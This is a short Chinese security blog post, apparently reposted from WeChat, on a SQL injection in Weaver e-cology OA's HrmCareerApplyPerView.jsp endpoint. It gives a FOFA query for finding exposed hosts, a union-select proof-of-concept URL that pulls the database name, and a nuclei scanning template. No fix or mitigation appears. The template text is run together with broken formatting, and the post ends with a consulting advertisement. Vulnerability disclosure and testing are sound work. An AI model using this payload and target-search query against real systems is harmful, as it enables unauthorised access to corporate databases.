漏洞描述：
泛微e-cology是专为大中型企业制作的OA办公系统,支持PC端、移动端和微信端同时办公等。泛微e-cology 的 HrmCareerApplyPerView 接口存在SQL注入漏洞。攻击者可利用该漏洞获取敏感信息。
FOFA语句：app="泛微-协同办公OA"
POC：
/pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27abc%27)),db_name(1),5,6,7漏洞复现：
nuclei 脚本
id: FanWeiOA_E-Cology_HrmCareerApplyPerView_SQLinfo:name: FanWeiOA_E-Cology_HrmCareerApplyPerView_SQLauthor: smseverity: criticaltags: FanWeirequests:raw:|GET /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27abc%27)),db_name(1),5,6,7 HTTP/1.1Host: {{Hostname}}: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0matchers:type: wordwords:"class=""900150983cd24fb0d6963f7d28e17f72"condition: and
欢迎添加微信进行业务咨询：
承接以下业务：
原文始发于微信公众号（网络安全交流圈）：泛微OA HrmCareerApplyPerView-SQL注入漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论